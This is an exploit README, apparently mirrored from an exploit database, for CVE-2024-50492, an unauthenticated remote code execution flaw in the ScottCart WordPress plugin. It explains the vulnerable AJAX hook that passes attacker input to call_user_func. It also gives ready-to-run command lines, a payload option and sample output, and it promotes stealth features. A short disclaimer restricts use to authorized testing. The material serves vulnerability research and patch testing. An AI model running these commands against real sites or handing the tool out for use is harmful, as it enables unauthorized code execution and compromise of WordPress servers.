Share
## https://sploitus.com/exploit?id=B3AEECD4-47B3-5686-8FDB-09F4C81043C2
# ๐จ CVE-2024-50492 - ScottCart <= 1.1 RCE Exploit
> ๐ฅ Exploit Script for ScottCart <= 1.1 - Unauthenticated Remote Code Execution
> ๐งโ๐ป By Nxploit โ *Khaled Alenazi*
---
## ๐ Description
The **ScottCart** plugin for WordPress (versions โค 1.1) is vulnerable to **Remote Code Execution (RCE)**.
This allows **unauthenticated attackers** to execute arbitrary PHP functions on the server through a vulnerable AJAX endpoint.
- **Plugin**: ScottCart โค 1.1
- **Vulnerability**: Unauthenticated Function Injection โ RCE
- **CVE**: CVE-2024-50492
- **CVSS Score**: **9.8 - Critical**
---
## ๐ง How it works
The plugin registers an unprotected AJAX action:
```php
add_action('wp_ajax_nopriv_scottcart_load_function', 'scottcart_load_function_callback');
```
Which executes:
```php
call_user_func($_POST['function']);
```
Allowing attackers to call **any existing PHP function**, like:
- `phpinfo()`
- `scottcart_get_the_user_ip()`
- `system()` โ if extended in modified environments
---
## ๐ Exploit Features
- โ
Automatically sends crafted payload to trigger the vulnerable endpoint
- โ
Allows function override via argument
- โ
Default payload: `phpinfo()` for PoC
- โ
Saves output to timestamped file (e.g., `results_2025-03-26_14-33-01.txt`)
- โ
Custom `User-Agent`, error handling, and SSL ignore for stealth
---
## ๐ฅ๏ธ Usage
```bash
usage: CVE-2024-50492.py [-h] -u URL [-p PAYLOAD]
ScottCart <= 1.1 - Unauthenticated Remote Code Execution
By Nxploit Khaled Alenazi.
options:
-h, --help Show this help message and exit
-u URL, --url URL Target base URL (e.g., http://192.168.100.74:888/wordpress)
-p PAYLOAD, --payload PAYLOAD
Function to call (default: phpinfo)
```
---
## ๐ก Examples
### ๐ Default behavior (PoC with `phpinfo()`):
```bash
python3 CVE-2024-50492.py -u http://192.168.100.74:888/wordpress
```
### ๐ Call internal plugin function:
```bash
python3 CVE-2024-50492.py -u http://192.168.100.74:888/wordpress -p scottcart_get_the_user_ip
```
---
## ๐งพ Output Example
```
[+] Target URL: http://192.168.100.74:888/wordpress
[+] Payload Function: phpinfo
[*] Launching exploit...
[+] Sending payload: function=phpinfo
[+] Exploit successful! Output:
PHP Version => 8.1.12
...
```
๐ And saved in: `results_2025-03-26_14-33-01.txt`
---
## ๐ก๏ธ Disclaimer
This tool is for **educational and authorized testing** purposes only.
Do **not** use against systems you do not own or have explicit permission to test.
---
## ๐ฌ Credits
- ๐ป Exploit by: [Nxploit โ Khaled Alenazi](https://github.com/Nxploited)
- ๐ก๏ธ CVE ID: CVE-2024-50492